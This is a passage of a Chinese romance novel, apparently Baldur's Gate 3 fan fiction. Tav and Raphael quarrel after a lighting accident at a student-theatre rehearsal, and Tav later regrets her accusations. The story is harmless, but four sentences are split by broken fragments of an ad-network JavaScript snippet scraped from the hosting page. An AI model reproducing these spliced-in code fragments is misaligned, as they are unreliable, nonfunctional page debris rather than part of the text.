塔夫心里也不痛快,像是被什么堵住,忍不住模仿他的嘲弄语气:“所以,‘你’又会怎么回答?” 拉斐尔看了她似乎很久:“我会对她说。” 他忽然站起,手撑在桌面倾过身,额头几乎贴着她,塔夫甚至能看到他睫毛根部染着淡淡金色。拉斐尔定定看着她的眼睛,仿佛这句话也是在对她说的: “白日梦,在心里做做就好。” 他说完,居然头也不回地直接离桌。 塔夫也一下站起,椅子蹭过地板,发出一声低沉的摩擦:“这是什么意思?你先别走!” 拉斐尔在门旁停下转过身,嘴角微微扬起。 塔夫怒气上涌:“你一口都没吃?很浪费啊!” 拉斐尔嘴边笑容僵住,不可置 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 信地看着她,过了一会,才低头笑出一声:“因为沾上了你的口水。”他轻轻鼓起嘴,“噗。” 塔夫脸一下涨红:“哪,哪有。我那个时候,还是及时转过头了的。” 话虽如此,她仍俯下身检查桌上食物,拉斐尔却已经坐回桌旁:“似乎确实没有。”他便仿佛什么都没有发生一样,镇定自若地开始吃午餐。 塔夫反而不自在起来,直到拉斐尔扬起头朝她挑了下眉,露出一个大约是“你在等我邀请你坐下?”的眼神,她才慢慢摆正椅子重新坐下。 . 拉斐尔专注食物,吃得速度不算快也不算慢,而且不说话也几乎不发出一点声音。 在这古怪的安静中,塔夫谨慎地小口咬着细细嚼着,结果差点连一份三明治都没吃完。而当她抱着至少六人六天分量的薯片重新回到阳光下时,第一次觉得自己要消化不良了。 吃饭时,拉斐尔的那句白日梦始终在她耳旁。 离开前,她总算能够对拉斐尔说出意见——他那句话可能会有些伤人。 拉斐尔对此只是轻嗤一声,她便说不下去了。 毕竟,刚才那些全部基于猜测,就算萝拉真有这个意思,也不一定会问出口,而只在心里想想并不会有什么实际后果。 其实拉斐尔的话也暗含了这个意思。 那时,她看着拉斐尔慢慢扬起的唇角,忽然意识到也许他一直都清楚——起码一定很熟悉,这些带着暧昧和试探色彩的小心翼翼与弯弯绕绕。 他那句“白日梦做做就好”是对“她”说的,对象可以是萝拉,当然也可以是塔夫,或任何一个被他吸引的人。 塔夫无比清晰地看到这一点,很以为拉斐尔会反问“伤到谁了?”,然而他微笑着开口时,对她说的却是: “别忘记读后感,我很期待。” 塔夫:……这人到底是怎么回事!? . 塔夫问了声影心这几天没有聚会后,在晚上去餐厅兼职前,把薯片一股脑都放到了宿舍一层的公共休息区,供大家自取。 至于那本《不幸的故事》,她现在只想看点快乐的。 等新的一周开始,哪怕塔夫偶尔会想起、也每天都会看到那本朴素的灰色封面,却始终提不起兴趣也许是勇气翻开。 直到周六。 . 这次,塔夫没有像上次那样犹豫,直接将灰皮书塞进背包。 她有些无奈地意识到,哪怕自己不愿如此,想到与拉斐尔见面却还是会不由自主地产生期待。 眼睛看到他会感到愉快,心情会因为他变得忽上忽下,甚至大脑也被拽进这个漩涡,总是忍不住分析猜测他字里行间的意思。 这是她和拉斐尔签订契约时没有预料到的地方,现在大概只能接受。 不过更进一步地了解拉斐尔,而且还是会让她感到怜惜的小拉斐尔,那还是算了吧,至少她目前心率尚能保持正常。 塔夫有些好笑地想,如果上周六事情反过来,是她对拉斐尔说,自己很期待告诉他对这本书的看法,拉斐尔恐怕会迫不及待地收回……不,他大概会嫌恶地说留着书,不必还给他,也不必告诉他她都做过什么梦。 她当然不能告诉他。 塔夫想起那些乱糟糟的梦,忍不住长长叹一声,转身出门。 . 拉斐尔结束上午的训练,直接回到住处,在衣帽间里花了比平时至少多两倍的时间。 上次同塔夫见面的时候,他匆忙得简直有些失礼,还好她并没有介意。 他比较着几种不同材质的袖扣,最后决定换一件衬衫。 那么裤子和鞋子也需要重新搭配。 …… 直到踏入剧场,拉斐尔才后知后觉想起,塔夫今天会晚些到。 “拉斐尔!你来得真早!”萝拉迎了过来。她的笑容看上去有些紧张,但眼睛很明亮,“关于上次的事,我可以听你的回答了吗?” 呵。 . 35.不幸 塔夫在盖尔教授办公室外见到威尔。 他这次来,是为了帮塔夫一起登记上次的论文作业成绩。 塔夫当时有些惊讶,毕竟威尔是这门课的学生。但既然盖尔教授这样说,她便也没有反对。不过今天,威尔并没有真的帮她,反而保持距离,绝对看不清论文和成绩表。 塔夫猜到大概原因,很快完成工作又整理好羊皮纸后问道:“有什么事?” 威尔语气有些犹豫:“所有人都有成绩,是吗?” 塔夫点点头:“是。其中三份成绩明显比其他人低,大约一半。” 威尔松一口气的样子:“谢谢。” 塔夫没说话,看着威尔。他清一下嗓子,简单解释说:“我和盖尔教授直接提出这个请求。他同意了。” 不知威尔是怎么找到另两个粗心忘记截止时间的学生,又是如何和盖尔教授交涉的。不过,塔夫更在意的是威尔的那位朋友。她差点问出“你这样做真的值得吗?”,及时改成了: “你是个很好的朋友。我希望你的朋友也知道这一点。” 威尔笑了,又垂下眼睛:“他知道。事实上,他告诉我了一切。” . 上个学期期末,朋友陷入了经济困境。 但他不敢向威尔求助,他没办法开口,因为他怕那会让两人的友谊变质,他担心威尔以为自己是为了利用他的身份和背景才同他做朋友。 那时,向朋友伸出援助之手的是拉斐尔,不过有一个交换条件——让威尔也向拉斐尔求助。 这对朋友来说是个艰难的选择,无论怎么做,他都会伤害到自己所珍视的、同威尔的友谊。拉斐尔看出他的挣扎,告诉他需要威尔做的只是加入兄弟会: “而这,也是雷文伽德公爵对威尔的期望。” 于是朋友同意了。 . 那之后发生的,包括威尔和拉斐尔的谈判,塔夫已经都清楚,除了一件事——两位演员离开剧团的原因。不过威尔对此事并不知情,塔夫便也没有提,继续听威尔道: “整件事,其实都是因为我。 “因为我,我的朋友,还有你,才会被卷入其中。我真的很抱歉。” 塔夫突然问:“你小时候也看过《不幸的故事》吗?” 威尔愣了下:“没有。那是什么?” 塔夫立刻说:“没什么。我想表达的是,这并不是你的错,是拉斐尔。他非要你加入兄弟会,又利用了你的朋友。” 威尔其实有更多推测。 拉斐尔对莱辛多尔直接提到父亲的期望,除了对朋友施加压力,这更可能是父亲终于对自己逃避贵族身份的游戏感到不耐烦,要求他加入兄弟会,从而进入贵族的圈子。 但他无法向塔夫说明这些,只能苦笑着陪她摇摇头。 塔夫生出一股带着荒唐之感的气愤。原来拉斐尔看这套书的时候,代入的不是无依无靠的孤儿,而是对孤儿做坏事的坏亲戚吗?! 亏她还可怜拉斐尔呢! 他为了让威尔向他低头,先是利用威尔的朋友,接着又导致她的卷入。哪怕没有到达极为严重的程度,从某种角度来说,这不正是“一系列的不幸”? 至于会感到不幸的,自然不是拉斐尔。 他喜欢观察别人的不幸,而且是那不幸的幕后推手。塔夫背上忽然升起一阵寒意,她所以为的与拉斐尔的合作,会导向下一个不幸吗? 她脸色大概变得有些差,威尔担心问:“你还好吗?” “拉斐尔,”塔夫发现自己声音干涩得厉害,润了润喉咙才能继续问完整, “他一定会完成交易的,是吗?” “他的家族来自……”威尔顿了下,点点头,带着安抚的口吻肯定回道,“是的。” 除非有可以利用的漏洞。 . 同威尔在楼下道别,塔夫被过于明亮的下午阳光照得有些头晕。 她想起拉斐尔的观察,他的邀请和……戏弄。她把拉斐尔拽到舞台上,但他仍是那只喜欢逗弄老鼠的猫。更糟的是,与威尔朋友的艰难选择相比,这是她的主动提议。 还好有契约,至少可以保证演出成功。 当塔夫终于赶到排练的小剧院时,背后那阵寒意重新升起。 太安静了。 为什么没有声音? 她心跳开始加快,脚步也越来越急。 终于推开演出厅侧门,塔夫一阵目眩,恍惚以为自己其实在噩梦中。 舞台上一片碎玻璃,里萨垂着头蹲在一旁小心检查。 从几块稍微完整的形状和里萨的僵硬来看,那是她的“宝贝”特制灯具。 萝拉蜷在舞台上的沙发前,脸埋在手臂里,看不出来有没有受伤。 菲拉不知去了哪里,其他团员表情或混乱或震惊,却都小心翼翼地没有说话。而拉斐尔神态从容。他站在萝拉身前,俯视着她,声音低沉,像是威胁: “……别担心,我可以很容易找到取代你的人。” 还有两周未见的阿斯代伦,他看上去也很轻松,甚至是微笑着的,冲塔夫扬起手:“亲爱的,你来了!”他唇翘得更高,“可惜你来得晚了些,错过了最精彩的部分。” 塔夫怔愣。 她为什么会感到意外呢,拉斐尔的朋友替他说出了台词,他们是同一类人。 她没理睬阿斯代伦,看也不看拉斐尔,直接赶到萝拉身旁:“你哪里受伤了吗?” 萝拉一下扑到她怀里:“塔夫!呜,呜。” “她只是受惊。”拉斐尔在一旁平静道,“也许,还感到羞耻。” 萝拉抽噎得更大声,整个人发起抖来。 塔夫抚摸着萝拉后背,又转头问里萨:“菲拉在哪里?她今天没来?” 回答她的却仍是拉斐尔:“她大概正试图拦下威廉姆斯。” “威廉姆斯?那是谁?” “负责学校剧场设施管理的女士。这毕竟是安全事故。” “你是指朱蒂太太?!”塔夫猛吸一口气,“萝拉妈妈,照顾萝拉。里萨,我们先把碎片收拾干净。其他人也赶快一起帮忙。” 可是太迟了。 朱蒂太太和往常一样雷厉风行,灰白色头发紧紧绾在脑后,锐利目光迅速掠过舞台,又抬头检查一眼灯光横架和操纵台,便要求众人立刻离开剧院。 菲拉气喘吁吁跟在她身后:“朱蒂太太,看上去有些严重,但没有任何人受伤。” 里萨也解释说:“是我,没有拿稳,不是技术操作或剧场设施问题。” 萝拉迅速抹了一把脸:“掉得地方离我很远。我这是……刚才入戏了,不是被吓到。” “严不严重不由你们决定。”朱蒂太太扫她们一眼,“谁是社团负责人?” 塔夫从萝拉身边站起:“我……” 拉斐尔已经走上前:“她在事情发生后才来。” 他直接简明扼要描述了经过。 剧团尝试新的灯光效果,里萨在上操作,萝拉在下定点,过程中出现了意外。 朱蒂太太像是赞许地点点头,但表情始终严厉: “初步调查结果出具之前,社团活动暂停。” 此外,全体成员需要重新接受安全教育,社团负责人塔夫和菲拉向学务长提供书面报告,直接当事人萝拉和里萨必须完成至少两个疗程的心理治疗。 “现在,所有人,离开!” 一出演出厅,萝拉眼泪重新打转,使劲咬着唇,忍住不要再哭出来。 里萨则震惊地说个不停:“两个疗程?就为这点事?完全是形式主义!学校的心理咨询师多难约啊!等到下学期都约不到!” 塔夫提高音量,盖过里萨,告诉大家记得每周五去学生活动中心看公告,留意社团下一步计划。 菲拉商量着同里萨和萝拉一起先去咨询室问问看,又和塔夫约好之后在她兼职的餐厅附近见面。 一片嘈杂混乱中,塔夫终于转向拉斐尔:“你,跟我来。” . 她没有走最近的那个出口,而是避开所有人,向冲萨河方向的剧院后门走。 她走得很急,试图借此发泄部分情绪,但语气还是强烈,又被走廊放大:“你到底做了什么?” 拉斐尔轻哼一声:“这是一个意外事故。并非人为或可控。” 契约的不可控条款。不需要完成交易的方法。 塔夫声音有些发抖:“这就是你一直以来的计划?设计一个意外!?” 拉斐尔语气略微有些不快:“我不得不提醒你,塔夫。你的问题存在过于明显的预设立场。” 塔夫猛地转头看向拉斐尔,于是他伸长手臂替她推开门:“小心。” 剧院外阳光强烈,直射在脸上,塔夫又一阵晕眩。 小心什么? 小心门,还是小心和他说话的方式,或者是小心他本人。 为什么拉斐尔还能如此冷静。 他从来记不住别人的名字,为什么却知道朱蒂太太姓什么。 为什么明明是周六,朱蒂太太还是来得这么快。 这怎么可能只是个意外。 一路 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沉默走到冲萨河旁,塔夫听着淙淙水声,深吸一口气:“好,那我只问客观发生了什么。” 她试图让语气尽量平稳客观,开口却还是质问,“你之前对萝拉做了什么?你还对她说了什么难听的话?” “问题应该是,她做了什么,说了什么。”拉斐尔微微眯下眼睛,“如果你指的是,加回吻戏那件事。” “只因为这个,你就威胁说要取代她?” “不。但威胁?”拉斐尔像是被小瞧了,又哼一声,“哪怕我真的这么做,那也不值得惊讶。” 塔夫短促地冷笑一声,干脆一起问出口:“剧团最开始离开的那两名演员,也是因为你的威胁吧。” “这是一个问题吗?还是你已经有了答案?”拉斐尔讥讽地反问。 “好,你在其中扮演了什么角色?” “我给了他们一个选择……” “哈!”塔夫忍不住又冷笑一声,“选择!” 拉斐尔面色不快地继续说完:“做出决定的是他们。” “但你很清楚结果会是什么!” “相信我,塔夫。我更希望看到意料之外的结果。”拉斐尔声音忽然放低,“比如你。” 但塔夫听得清清楚楚。这比较难道是什么恭维吗?她慢慢眨了下眼睛,捏住拳头,身体慢慢绷直,否则她怕自己会控制不住地发抖: “那么,你看得还开心吗?” “必须要排除萝拉那些,令人发笑的自作多情,以及……” “你在自以为是什么?”塔夫不可置信,再次打断他,“你有什么资格这么说?你有什么资格这么评价别人!?” 拉斐尔脸色冷了下来:“也许,我的确拥有评价的‘资格’。”他语气更加轻蔑,“要求‘我’,亲.自.吻她。这几乎称不上可笑。连交易都不够格。” “可笑?不够格?”塔夫被彻底激怒了,“你以为是你瞧不上她?但你知道吗,哪怕是同你‘交易’的女生,真正不在乎的,也其实是她们。” “是吗?”拉斐尔顿了下,“我倒是愿意请教一下你的高见。” 塔夫大声冷笑: “并不是只有你一个人拥有自己的想法和意见!我知道你能提供什么,‘金钱、地位、资源’,所有这些展示给别人的漂亮书页。不过很可惜,上面没有一个字母是你写的。 “那些东西当然是有用的,但是你,你只是一个载体。 “对她们来说,你才是可以被取代的。不,你甚至不需要存在。你想要别人看到真正的你,你为什么从不展示呢?因为你没有其他东西!” 拉斐尔维持着镇定的神情,但语气平静得有些可怕:“你知道自己在说什么吗?” “我当然知道。而且你也知道。 “你心里其实很清楚,如果没有那些吸引别人注意的‘贵族身份’的外壳,没有一个人会对你本身感兴趣! “唯一一个能属于你的大概是你的身体,但那些你也不愿‘亲自’提供。不,是你不能够!因为你是个胆小鬼,既自大,又胆小。你到底在怕什么?” 拉斐尔看上去好像被打了一巴掌,脸色铁青,下巴肌肉开始颤抖:“我建议你在感到后悔前停下。” 塔夫却知道自己说中了: “建议?你有什么资格建议别人?你威胁萝拉赶她出剧团,只是因为她想要加回吻戏?在舞台上!完全可以借位!还是在你已经拒绝过她之后? “我知道,你不想,可你为什么要费力设计这种意外,甚至不在乎有人会受伤!只为了逃避这种事? “因为你不敢!因为你不配!因为你怕别人发现你有多差劲!多可悲啊!所以你才连‘亲自’亲吻一个女生都不敢!” 拉斐尔狠狠盯着她,脸上带着一种既诧异又屈辱的神情,整个身子都有些发抖,最后只说:“原来你是这样看待我的。” 周围忽然变成一片死寂。 塔夫大口呼吸,只能听见自己的喘息声和耳中的轰鸣——被心脏迫不及待地泵出、恨不得冲破血管的血液发出的轰鸣声。 她看到拉斐尔鼻翼微微鼓起,呼吸变得急促粗重,眼睛里的金色越来越浓郁。 她都说了什么。 她没有问到底发生了什么,接下来又该怎么办,只是情绪上头,针对拉斐尔这个人。 他的确是个刻薄傲慢的混蛋,但她也没有权利朝他仍这种淬了毒的尖刺。 她没有比他更好。 …… 啪。 啪。啪。啪。 稀稀落落的掌声响起。 . 36.真实 塔夫试图保持镇静,但没有成功。 她慌乱而又僵硬地扭过头。鼓掌的是阿斯代伦,不知道什么时候跟在自己和拉斐尔身后,又听去多少。 他从剧院墙侧不紧不慢走出,一脸看热闹的表情,眼睛里也满是幸灾乐祸的愉悦:“那番话说得很有气势嘛,塔夫。” “哼。”重重的一声鼻音。 不等塔夫有机会回过头,拉斐尔已经擦着她肩膀离开,不过几步就消失在剧院后。 阿斯代伦“啧”一声:“居然就这样逃跑了。这可真没意思。” 他微笑着倾身,凑近仔细瞧塔夫,“哦我亲爱的,你可是把拉斐尔都说得气走了,应该要庆祝才是,为什么这副丧气的表情。” 塔夫眨了眨眼睛,别过脸。 “我可怜的小塔夫,眼睛怎么都有些红了。” 塔夫努力忍住泪意。 为什么只有在愤怒过后,才会意识到说的话有多伤人,才又一次发现自己藏着这么糟糕的一面。 她知道说什么才能伤到拉斐尔,那其实是他告诉她的。他想让她看到,也肯定是出于信任才让她看到的。他当时说的是什么来着,她不令人讨厌…… 可她刚才把所有能想到的、觉得有可能会刺伤拉斐尔的话都瞬间抛向他。她甚至还保持着理智,发现并抓住最要害的那根刺,更用力地扎了进去。 阿斯代伦仍在说着什么,声音仿佛从很遥远的地方飘来。塔夫觉得自己头开始晕沉沉的:“我需要,我必须得,先回去了。” “别这么着急,我还没有说完。”阿斯代伦弯着唇拦下她,但笑意没有到达上半张脸。 那说话方式和拉斐尔如出一辙,塔夫有些怔忡。 “拉斐尔的确自视甚高到经常使人恼火,不过总还算得上自我认知清晰。”阿斯代伦的笑容愈发真诚起来,“而你,我亲爱的塔夫,你那自以为是和目不见睫的程度,简直令我都大开眼界呢。” 塔夫脸一下涨得通红:“我……” “好了好了,快回去吧小可怜,第二天别忘记晒枕头。” . 拉斐尔重新见到阿斯代伦时,希望他能取笑自己刚才的愤然离开。 ——玩笑或揶揄可以减轻这件事的严重性。 然而阿斯代伦并没有,这只让塔夫的话加重了分量和意义。 拉斐尔不是第一次听到类似的评价,实际上他听得太多已经提不起兴趣:自以为是的傲慢贵族。 这也不是塔夫第一次指责他,她说过他恶心、可恶,也称呼他为混蛋。甚至这次,连攻击的武器都是他亲自送到她手中。那明明是他伪装出的弱点,但不知道为什么,她的话却让他差点无法控制自己。 为什么他像被说中痛处。 他在害怕?同别人亲密?怎么可能? 这时,阿斯代伦居然在一旁推荐起温柔有经验的社交女伴:“年龄最好比你大几岁,懂得技巧也知道如何引导。” 拉斐尔斜了阿斯代伦一眼,他抬手理下银色卷发:“你还是这样,拉斐尔,在情事上总是一本正经到令人怀疑你到底是不是个贵族。你越是厌恶抗拒,反而会越是紧张,被别人一眼看出来。” 男人总是多有吹嘘,兄弟会的贵族也不免如此。阿斯代伦却是唯一一个曾坦诚告知,第一次甚至前几次都会很敏感,习惯了才能渐入佳境的人。此时,他更是话里有话地邀请道: “这种事和其他事一样,需要‘练习’。这不是你常说常做的吗。” “我拥有一个梦魔。”拉斐尔话里也带上额外暗示,实际是为了含混过去。 他并不认为自己保守,而是没必要为了面子把事情变得复杂。但他也知道,阿斯代伦人不坏,说这些不过是为了多个玩伴。他和阿斯代伦在很多地方性情相投,只是比起享受欲望,他更多的是不喜,那像是在神智的清明中混进污浊,而他厌恶失去控制的感觉。 在塔夫身边时,他似乎偶尔会有失控的瞬间。那更类似兴奋的感觉,心跳加快,血液加速,甚至失去些注意力和思考能力,回想起来却又真切而陌生得令他感到…… 可怕。 拉斐尔慢慢呼出一口气。 是的,可怕。 或者说,恐惧。而这明明他最熟悉不过的情绪。对于陌生的、未知的事物,人总会产生恐惧。反应通常有两种,战斗或者逃跑。那兴奋和心跳加速,都是他的身体帮他做好战斗的准备。 阿斯代伦的话并非没有道理,不过是需要练习。他需要更加熟悉这陌生,直到不再受它影响。 他需要更多地了解…… 塔夫。 他其实早就对她好奇了,但认为那些事本不该引起他的兴趣。 她长大的农场在哪里,她的父母是什么样子,她是否有兄弟姐妹,还有她小时候的生活,是什么让她变成这样的性子,她的想法她的反应,看过的书喜欢的食物,她对未来的期望。 他都想知道。 而现在,他需.要.知道。 …… 如果他没有一想起塔夫那番话就仍感到恼火的话。 居然这样评价他。 同他“交易”过的女生并不在乎他?那根本都是她自己的看法! 她太过得意了。 别人的看法不会改变他分毫,只不过是因为他开始在意她的看法,她才可以有机会伤到自己。 这权力是他给她的,他当然可以收回。 然而,当拉斐尔知道阿斯代伦讥讽过塔夫后,那愤怒立刻调转了个方向:“你对塔夫说了什么?” “只是小小地推了她一把。”阿斯代伦饶有兴味地观察拉斐尔。 拉斐尔回视他片刻,最后轻哼一声。 暂先留到以后再说,没必要让阿斯代伦这个性格恶劣的家伙现在产生更多兴趣。 . 塔夫在阿斯代伦面前忍住眼泪后,倒没再低落太久。 她必须承认,自己那番话的确太过刻薄,同拉斐尔相比也不遑多让。可拉斐尔是一个善于给别人带来不幸的人,原因仅仅是他有这个能力!那么,她让他感到痛苦,为萝拉报复回去,大概也算得上是一种正义。 至于阿斯代伦最后那番话。 虽然他看上去是在一视同仁地看热闹,一开始就取笑了拉斐尔,但他仍是拉斐尔的朋友,自然会为他辩护。 塔夫努力让心情平复下来,直到重新见到菲拉。 剧场的一切似乎真的只是个意外。 “萝拉对最后那场戏有一个想法,”菲拉从头向塔夫解释起来,并在下一秒立刻跑了题, “诶,你有没有发现,这两次排练的时候,萝拉总是有很多提议,像是想要吸引……谁的注意。” 塔夫无奈瞥了她一眼:“收到你的暗示了。我们先继续说发生了什么?” 菲拉立刻道: “说回这次的意外。 “萝拉想要最后一场戏更加充满希望,也许以和某.个.人.的灯光形象拥抱做结尾。正好里萨的灯光,你上次也瞧见了,没有太多粉碎或裂开的感觉,而是闪烁透亮。 “总之,里萨这个灯光痴,听到萝拉的提议就想试试。所以两个人一起捣鼓起来,看上去居然还不错,毕竟是里萨嘛,她可是才华横溢……咳。只是没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想到,萝拉指挥里萨调整位置的时候,整串灯都掉了下来!还好里萨没被带下去。” 菲拉后怕地呼一口气,又仔细瞧塔夫一眼: “至于萝拉,被拉斐尔保……及时拎到了安全的地方。” 她说着又加起手势: “你没有亲眼看见!灯砸下来的时候,那场面,简直是歌剧魅影的经典情节再现!不过我们持续砸了能有十几分钟!(塔夫:这也太过夸张了!) “咳,反正,大家都被吓得或者惊得呆住了,拉斐尔却立刻提醒我,朱蒂太太可能会听到。” ——原来,剧院外贴有告示,这一周,包括周末两天,设施管理中心都会在现场做定期检查,请各社团配合。今天负责的正是最严厉的朱蒂太太。 “简直是太倒霉了。”菲拉最后总结说。 而萝拉和拉斐尔后来发生了什么,菲拉已经跑去确认朱蒂太太情况,也不太清楚细节: “里萨发现萝拉没事之后,就光顾着试图挽救灯泡,没太注意别的。不过她跟我说了几句,这就足够了,一点也不难猜。 “萝拉开始也被吓到,后来发现救下自己的是拉斐尔的时候,感激之余便控制不住,冲动地向他表达好感,还说结尾也可以改成和他本人拥抱什么的,根本不考虑里萨刚刚因为她的提议砸了灯泡!” 菲拉轻咳一声,又瞧塔夫一眼: “可想而知,她被拉斐尔毫不客气地拒绝了。 “她面子上挂不住,加上差点被灯砸到,于是更加激动起来,哭着说不愿再演了,本以为能得到安慰,结果却被嘲讽了。” 塔夫听得脸色一阵红一阵白,闷声不响,心里却越来越吃惊。 从菲拉的这个角度来看也十分合理,而且也很符合拉斐尔的反应。可是她当时立刻联想到之前离开的剧团演员,理解成他的又一次威胁。 “你后来和拉斐尔谈得怎么样?”菲拉虽然是询问,但看上去并不太担心,“他总是有办法的。” “我还会和他……再谈谈。”塔夫勉强说出这个答复,又说要为餐厅开始营业做准备,便先同菲拉告别。 . 塔夫心烦意乱,一个人躲了会。 这简直像是上次演员退出剧团的重演,不过骂得很开心的人换成了她。 她不认为自己是完全没道理的,毕竟拉斐尔直接承认了他就是之前那件事的幕后之手,而且态度相当不以为然,丝毫不认为有什么问题。 可她还是误会了拉斐尔很多地方,再加上拉斐尔的反应——对于她的猜疑和指责,他始终保持着克制,只提醒她别预设立场——这让她感到更加羞愧。 …… 还好她接下来有工作,必须强迫自己从混乱思绪中抽离。 . 这天餐厅生意格外好,等结束工作回过头来看,塔夫简直不知道是什么支撑自己度过那四个多小时,而且居然没有出现一点差错。 和同事们一起离开餐厅,她在月光下看到一个颀长身影,心里猛地一跳。 “弗兰!”一位侍者姑娘回头大声喊。 弗兰迎了出来:“跟你说过多少遍,不用等我、也不用来接我。” 那正是她口中正交往的“烂人”,又一次踏入的错误河流。 他看上去因为被批评紧张不安起来,没有解释,只伸出胳膊。弗兰再次朝塔夫她们道别,做了个自嘲的无奈鬼脸,却又快活地牵住他的手,要他进餐厅等。 塔夫像是被什么击中,暂时放到一旁的情绪一下全部卷了回来。 她感到既难过又开心,因为弗兰,却也因为自己。 . 37.偏见 终于躺到床上,塔夫觉得疲惫不堪。 然而,她的精神却始终清醒,像是不理清这种矛盾心情就不允许她休息似的。 她知道自己误会了拉斐尔,可心里却有些开心。也许和弗兰一样,虽然叫着对方“烂人”,但还是会忍不住喜欢。哪怕自己的感情只是刚萌芽的喜欢。 当她以为拉斐尔做出了那种令人无法容忍的恶劣事情时,所有的喜爱都变成鞭子,狠狠回打在自己脸上:你怎么会喜欢那种人?你明明应该知道的!你被那一点点好感就蒙蔽了眼睛吗? 现在,她知道那些不是真的,她对拉斐尔的指责很多是站不住脚的,至少他并没有设计这场意外,她自己心里也跟着松了一口气。 可是为什么拉斐尔不和她解释清楚呢。 塔夫几乎立刻回答自己,他直接说明了那是个意外。而且,哪怕他进一步解释,她那个时候也绝对不会相信他。 偏偏所有的事情都发生在一天。 简直是太不幸了! 威尔才向她和盘托出事情经过,她知道了拉斐尔对威尔朋友的利用,心里满是不安和对拉斐尔“不幸”言论的猜疑。 接着她又终于问出,拉斐尔当初真的导致了两位演员的离开,进一步确认了那怀疑。 于是,她便以为自己猜中了一切,看穿了拉斐尔的可憎面目。他计划出这一整个意外,为的是让演出和排练无法继续,从而观赏她的不幸。 她根本没有考虑到的是,也许拉斐尔会用言语修饰,但他其实并不会遮掩自己。 不,言语修饰当然也是一种遮掩,对意图的遮掩——只是那对拉斐尔来说更像是一种文字游戏,是不在乎的态度,因为他似乎从不否认他做过什么。 威尔那次是这样。 拉斐尔干脆地告诉威尔朋友他的要求,对她则是(在戏弄后)告诉她,她通过了考验,可以对他提出一个要求。 翼猫那次也是这样。 她不过追问几句,拉斐尔便告诉她烟雾弹的事情。 按拉斐尔的性格,如果他真的策划出这场意外,便不会只是讽刺说,她早就在心里对他定了罪。 难怪! 所以阿斯代伦才会说她自以为是! 她嘲讽拉斐尔高高在上地评价别人,她又何尝不是呢!因为心怀偏见,只能看到自己想看到的,只相信自己肯相信的。 塔夫越想越感到羞愧。 这也正是阿斯代伦对她的另一个评价。她只记住了对拉斐尔的傲慢印象,却忽视他加入剧团以来所做的一切: 主动找来演员,认真参与社团活动,甚至提前练习唱歌…… 诚然,她当时那样愤怒,情绪的积累主要是因为“不幸”和剧团的意外,但爆发点却是拉斐尔对萝拉的态度。 他那副屈尊俯就的神态,讽刺萝拉对他的喜爱是自作多情,也伤害了她的自尊心——或者说得更尖锐一些,拉斐尔对萝拉的讥讽,也是对她的好感的拒绝——他没有回应她的期望,所以招致了她的怨恨。 她装作不在乎,因为这实在太过微小了,她甚至根本没有告诉任何人。然而,她其实还是对拉斐尔心有埋怨,又正好借着剧团和萝拉的理由,一股脑都爆发出来。 塔夫左思右想,一会因为拉斐尔的轻蔑冷漠的话语重新愤怒,一会又生起自己的气:她之前居然认为那刻薄之语可以被称为是正义。 渐渐地,她又发现一些自己一直以来忽视的地方。 拉斐尔的确直接说过他对不幸的兴趣,包括喜欢看到别人挣扎或向他低头,但他实际做的并没有那么糟。 ——影心提到的那个女生。虽然她之后像是受到刺激性格有了很大转变,却也爬出了经济和情绪低谷。 ——威尔的朋友。虽然拉斐尔是为了针对威尔,但也的确帮助朋友解决了困难。 ——她的契约是因为威尔,大概算是例外。而漩涡最中心的威尔,拉斐尔那句“公爵的期望”,也并不像是全然无稽的事情。 ——至于最近的翼猫那次,哪怕她是作为烟雾弹出现,却也得到难得的机会,见到摸到一只翼猫之余,还能听它说话念诗。 塔夫越想越懊恼难过。 她怎么会做出这种事。 她明明总是格外在意哪些话可能会伤人,也提醒自己避免说那种话,因为她常常控制不好玩笑和刻薄的界限。然而对拉斐尔,她却完全不管不顾地说了出来! 尤其想到她彻底点燃后,变着法子挑难听的、伤人的说,可拉斐尔不但没有跟她针锋相对,反而勉强做出一副镇定自若的样子,塔夫就更沮丧了。 不过最后,他还是因为她的话变成一副恼羞成怒的模样,塔夫又觉得拉斐尔十分可怜甚至可爱起来。 她当时说了他什么? 塔夫再次羞惭得满脸通红,用被子盖住了头。 . 她得去找拉斐尔。 塔夫第二天醒得格外早,看一眼时间还不到六点,但她没办法再入睡。向拉斐尔道歉这个念头,从昨天和菲拉见面后,就断断续续一直到现在。 她不确定自己睡了几个小时,不过从红肿的眼睛和有些青黑的眼底可以很容易看出,哪怕是睡着的那几个小时,她睡得也不太好。 她记得拉斐尔说过,每天六点到八点,包括周末,他都会在赛艇队训练。 塔夫再次沮丧起来,她没有预约。 而且拉斐尔又会是什么反应。她昨天说了那么过分的话,他真的还会想见到她吗。他会接受她的道歉吗。 塔夫终于还是穿好薄外套。 . 赛艇俱乐部。 拉斐尔听到塔夫的名字后,立刻停下了训练。 ——可他来不及换衣服,因为他告诉守卫,如果塔夫找来,便直接带她去他的休息室。 他无法坐下,来回走着,又陡然发现自己并没有想象中愤怒,反而因此升起一股怒意。 他仍然记得她昨天说过得每一个字,但他绝对不会让她知道,她真的说中了什么,或者他真的被哪些话打击到了。 他勉强保持着镇静,却忍不住猜测塔夫会对自己说什么。 她一定会问他剧团的事,提出二人间的契约,要求他解决麻烦…… 她终于来了。 她还穿着那件米白色的羊毛薄衫——她真的很喜欢这件衣服。是因为颜色还是材质。她似乎会适合绿色。绸缎应该很不错。这并不重要——她站得很直,肩膀看上去绷得很紧,但她一直低着头,甚至不看他,也始终没有说话。 拉斐尔冷冷地哼了一声,打破沉默:“你为什么会在这儿?” 塔夫这才清了清嗓子:“守卫让我进来了。我猜,是你的要求?你知道我会来找你。” 她已经看出他在期待她来找他? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 但这可不是他想要的回答。拉斐尔第一次觉得自己没那么喜欢塔夫的敏锐。 事实上是第二次。昨天,她显然过快地推出错误的结论,虽然他可以理解她会那样想的逻辑。他记得她之前是同威尔一起,所以肯定是威尔那家伙,又翻唇弄舌地说了什么多余的话! 他居然替塔夫找起理由? 拉斐尔再次下定决心,自己应该更加愤怒才是。 